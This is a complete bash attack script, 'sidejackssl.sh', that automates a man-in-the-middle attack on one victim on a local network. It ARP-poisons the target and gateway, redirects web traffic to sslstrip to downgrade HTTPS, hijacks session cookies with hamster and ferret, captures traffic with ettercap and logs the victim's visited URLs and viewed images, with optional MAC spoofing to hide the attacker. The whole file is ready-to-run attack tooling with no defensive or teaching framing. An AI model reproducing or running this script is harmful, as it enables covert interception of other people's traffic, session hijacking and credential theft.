#!/bin/bash
# sidejackssl.sh v0.2
# tested in backtrack 4 R2 environment, run as root.
# xterm used for window control
# arpspoof poisons a single victim and gateway
# ferret and hamster for sidejacking
# sslstrip for https
# ettercap for everything else
# urlsnarf to monitor visited urls
# driftnet for fun
# firefox needs to be configured with a proxy of 127.0.0.1:1234
# url for hamster server is http://hamster
# by gorara
# a few variables (do not change)
m1="0" # missing file var m1
m2="0" # missing file var m2
m3="0" # missing file var m3
m4="0" # missing file var m4
quickclean="0" # used for quick clean up
randmac="n" # default setting do not randomize MAC
hamsterfile="hamster.txt" # hamster output file (you can't change it)
trap 'cleanup' SIGINT SIGTERM # detect control-c
# a few more variables (change these if required)
# xterm window variables
x="0" # x offset value
y="0" # y offset value
width="120" # width value
height="7" # height value
yoffset="120" # y offset
fgcolor="white" # foreground color
bgcolor="black" # background color
# style variables
warnstyle="[\e[01;38mw\e[00m]" # warning msgs style
execstyle="[\e[01;32mx\e[00m]" # execute msgs style
infostyle="[\e[01;34mi\e[00m]" # informational msgs style
inputstyle="[\e[01;30m?\e[00m]" # input msgs style
# file variables
sslstripfile="sslstrip.log" # sslstrip output file name
snifffile="sniff-*" # hamster sniff file wildcard
etterfile="etter.cap" # ettercap output cap file
temp="/tmp" # temporary dir
function usage
{
clear
echo "Usage: bash $0 -i interface -t target -g gateway [-r] [-h]"
echo ""
echo " -i interface interface to use, ex. eth0, wlan0."
echo " -t target the target IP address."
echo " -g gateway the gateway IP address."
echo " -r randomize your MAC address,"
echo " only use for wired interfaces."
echo " -h display this help screen."
echo ""
echo " examples: "
echo " bash $0 -i eth0 -t 192.168.0.1 -g 192.168.0.254 -r"
echo " bash $0 -i wlan0 -t 192.168.0.1 -g 192.168.0.254"
echo ""
exit 0
}
function cleanup() {
echo -e "\n$warnstyle control-c pressed! "
# exit script if nothing has been modified
if [[ "$quickclean" = "1" ]]; then
echo -e "$infostyle nothing changed, all done!"
exit 0
fi
echo -e "$infostyle cleaning up..."
echo -e "$execstyle flushing iptables..."
iptables -F
iptables -t nat -F
echo -e "$execstyle turning off IP forwarding..."
echo "0" > /proc/sys/net/ipv4/ip_forward
# change back MAC address to orignal one
if [[ "$randmac" = "y" || "$randmac" = "Y" ]]; then
echo -e "$execstyle resetting MAC address...";
echo -e "$infostyle original MAC is: $origmac"
ifconfig $interface down
ifconfig $interface hw ether $origmac
ifconfig $interface up
if [ -z $gw ]; then
echo -e "$warnstyle WARNING, you have no default gateway!"
else
route add default gw $gw
fi
rm $temp/mac.orig
rm $temp/gw.orig
fi
echo -e "$execstyle cleaning up files..."
echo -e "$infostyle temp directory: "
# testing to see if files exist, if so display them...
if [ -f $temp/$sslstripfile ]; then
ls $temp/$sslstripfile
else
#echo -e "$warnstyle missing $sslstripfile"
m1="1"
fi
if [ -f $temp/$etterfile ]; then
ls $temp/$etterfile
else
#echo -e "$warnstyle missing $etterfile"
m2="1"
fi
echo -e "$infostyle current directory: "
if [ -f $snifffile ]; then
ls $snifffile
else
#echo -e "$warnstyle missing $snifffile"
m3="1"
fi
if [ -f $hamsterfile ]; then
ls $hamsterfile
else
#echo -e "$warnstyle missing $hamsterfile"
m4="1"
fi
# testing to see if there are any files at all
if [[ $m1 -eq 0 || $m2 -eq 0 || $m3 -eq 0 || $m4 -eq 0 ]]; then
while [[ "$delete" != "y" || "$delete" != "n" ]]
echo -en "$infostyle delete file(s)? [y/n]: "
read delete
do
case "$delete" in
y) delete_marker="y"; echo -e "$warnstyle deleting files!"; break;;
n) echo -e "$warnstyle nothing deleted!"; break;;
*) echo -e "$warnstyle wrong selection!";
esac
done
# delete files as requested
if [[ "$delete_marker" = "y" ]]; then
if [ -f $temp/$sslstripfile ]; then
rm $temp/$sslstripfile
fi
if [ -f $temp/$etterfile ]; then
rm $temp/$etterfile
fi
if [ -f $snifffile ]; then
rm $snifffile
fi
if [ -f $hamsterfile ]; then
rm $hamsterfile
fi
fi
else
echo -e "$warnstyle nothing to delete!"
fi
echo -e "$infostyle all done!"
exit 0
}
# start main program
if [ "$#" -eq 0 ]; then
usage
fi
while [ "$#" -gt 0 ]
do
case "$1" in
-i) interface=$2; shift 1;;
-r) randmac="y"; shift 1;;
-t) target=$2; shift 1;;
-g) gateway=$2; shift 1;;
-h) usage;;
-*) usage; break;;
*) break;;
esac
shift
done
# required parameters
if [[ -z $interface || -z $target || -z $gateway ]]; then
usage
exit 0
fi
clear
if [[ "$randmac" = "y" ]]; then
mac="yes"
else
mac="no"
fi
# set quick cleanup flag
quickclean="1"
echo -e "$infostyle sidejacker/sslstrip script v0.2, by gorara"
echo -e "$infostyle ctrl-c to abort at any time."
echo -e "$infostyle attack summary:"
echo -e "$infostyle host $target and gateway $gateway from $interface, spoof MAC: $mac"
if [[ "$randmac" = "y" ]]; then
echo -e "$execstyle change of $interface MAC address requested."
if [[ "$interface" = wlan* || "$interface" = wifi* || "$interface" = ath* ]]; then
echo -e "$infostyle wireless device detected..."
echo -e "$warnstyle can't change MAC address without taking wifi interface down"
echo -e "$warnstyle do it manually before connecting to the AP."
exit 0
fi
if [[ "$interface" = eth* ]]; then
echo -e "$infostyle wired device detected..."
echo -e "$warnstyle WARNING, this will take your wired interface down temporarily."
echo -en "$inputstyle do you want to continue? [y/n]: "
read continue
if [[ "$continue" = "y" ]]; then
echo -e "$infostyle proceeding..."
else
echo -e "$infostyle exiting..."
exit 0
fi
fi
origmac=`ifconfig $interface | grep HWaddr | awk {'print $5'}`
fi
# before this, ctrl-c will exit script without doing anything.
quickclean="0"
# use macchanger to randomize MAC address, ect.
if [[ "$randmac" = "y" || "$randmac" = "Y" ]]; then
echo -e "$execstyle randomizing MAC address...";
gw=`route -n | grep UG | awk {'print $2'}` > $temp/gw.orig
ifconfig $interface down
macchanger -r $interface > $temp/mac.orig
ifconfig $interface up
if [ -z $gw ]; then
echo -e "$warnstyle WARNING, you have no default gateway!"
else
route add default gw $gw
fi
origmac=`cat $temp/mac.orig | grep Current | awk {'print $3'}`
fakemac=`cat $temp/mac.orig | grep Faked | awk {'print $3'}`
echo -e "$infostyle original MAC is: $origmac"
echo -e "$infostyle faked MAC is: $fakemac"
fi
echo -e "$execstyle turning on IP Forwarding..."
echo "1" > /proc/sys/net/ipv4/ip_forward
echo -e "$execstyle configuring iptables..."
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sleep 1
echo -e "$execstyle starting hamster ... <logging to: $hamsterfile>"
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "hamster" -e /pentest/sniffers/hamster/hamster &
sleep 2
echo -e "$execstyle starting ferret ... <logging to: console>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "ferret" -e /pentest/sniffers/hamster/ferret -i $interface &
sleep 2
echo -e "$execstyle starting sslstrip ... <logging to: $temp/$sslstripfile>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "sslstrip" -e sslstrip -a -k -f -w $temp/$sslstripfile &
sleep 2
echo -e "$execstyle starting ettercap ... <logging to: console>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "ettercap" -e ettercap -T -q -p -i $interface &
sleep 2
echo -e "$execstyle starting urlsnarf ... <logging to: console>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "urlsnarf" -e urlsnarf -i $interface &
sleep 2
echo -e "$execstyle starting driftnet ... <logging to: console>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "driftnet" -e driftnet -p -i $interface &
sleep 2
echo -e "$infostyle trap is ready, now to direct traffic..."
echo -e "$execstyle ARP poisoning the target..."
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "arpspoof" -e arpspoof -i $interface -t $target $gateway &
sleep 1
echo -e "$infostyle run firefox and type http://hamster"
echo -e "$infostyle don't forget to set proxy to 127.0.0.1:1234"
echo -e "$infostyle press ctrl-c to exit and clean up... \n"
for ((;;)) do
read loop
echo -en "$infostyle press ctrl-c to terminate!"
done
exit 0
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